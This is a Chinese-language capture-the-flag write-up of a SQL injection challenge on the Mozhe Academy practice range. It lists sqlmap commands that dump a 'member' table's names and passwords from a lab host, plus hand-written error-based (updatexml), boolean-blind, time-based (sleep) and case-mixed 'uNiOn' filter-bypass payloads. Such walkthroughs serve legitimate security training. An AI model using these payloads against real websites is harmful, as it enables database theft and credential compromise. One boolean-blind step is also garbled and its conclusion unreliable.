前言
本题为墨者学院在线靶场
进入题目发现是个登录界面,找了好久,最后在关于平台停机维护的通知的页面找到了注入点
判断注入类型,当输入?id=1’ and 1=1 %23时,页面显示正常。
?id=1' and 1=1 %23
当输入?id=1’ and 1=2 %23时,页面显示不正常。
由此判断注入类型为单字符注入。
一、sqlmap
首先先清理sqlmap的缓存。
python sqlmap.py --purge
查库名,得到库名为stormgroup
python sqlmap.py -u "http://219.153.49.228:44807/new_list.php?id=1" --dbs --batch
查表名,得到表名为member notice
python sqlmap.py -u "http://219.153.49.228:44807/new_list.php?id=1" -D "stormgroup" --dbs --tables --batch
查字段名,得到字段名为name password status
python sqlmap.py -u "http://219.153.49.228:44807/new_list.php?id=1" -D "stormgroup" -T "member" --dbs --columns --batch
最后查用户名和密码
python sqlmap.py -u "http://219.153.49.228:44807/new_list.php?id=1" -D "stormgroup" -T "member" -C "name,password,status" --dump --batch
关于sqlmap详细的命令,直接贴链接了。
sqlmap详细命令
二、手注
1.报错注入
直接判断数据库名
?id=1' and updatexml(1,concat(0x5c,database(),0x5c),1) %23
查询表名
?id=1' and updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1) %23
查询字段名
?id=1' and updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='member'),0x5c),1) %23
查询账户
?id=1' and updatexml(1,concat(0x5c,(select group_concat(name) from member),0x5c),1) %23
查询密码
?id=1' and updatexml(1,concat(0x5c,(select group_concat(password) from member),0x5c),1) %23
到这里发现问题,按照我的写法,查出来的密码应该为\***********,*******\。说明我们只查出了部分密码。
接下来使用布尔盲注查出缺失的密码。
?id=1' and substr((select password from member limit 0,1),1,32)=b %23
由此可以得到password的长度为32位。(好像有点明白题目为啥叫报错盲注了)
2.时间注入
因为前面使用过布尔盲注,所以这里就不重复使用了,而是使用时间注入。
查库
?id=1' and if(substr((database()),1,1)='s',sleep(3),1) %23
查表
?id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='m',sleep(3),1) %23
查字段
?id=1' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='member'),1,1)='n',sleep(3),1) %23
查用户和密码
?id=1' and if(substr((select group_concat(name) from member),1,1)='3',sleep(3),1) %23
3.联合查询union被过滤
使用联合查询,但发现union被过滤了。经过不断尝试,发现uNiOn可以绕过。
总结
最后得到的密码使用md5解码,登录成功得到key。
ps:写文章写了一半靶机关了,所以得到的密码可能不一样。
最后 如有错误希望师傅们指正。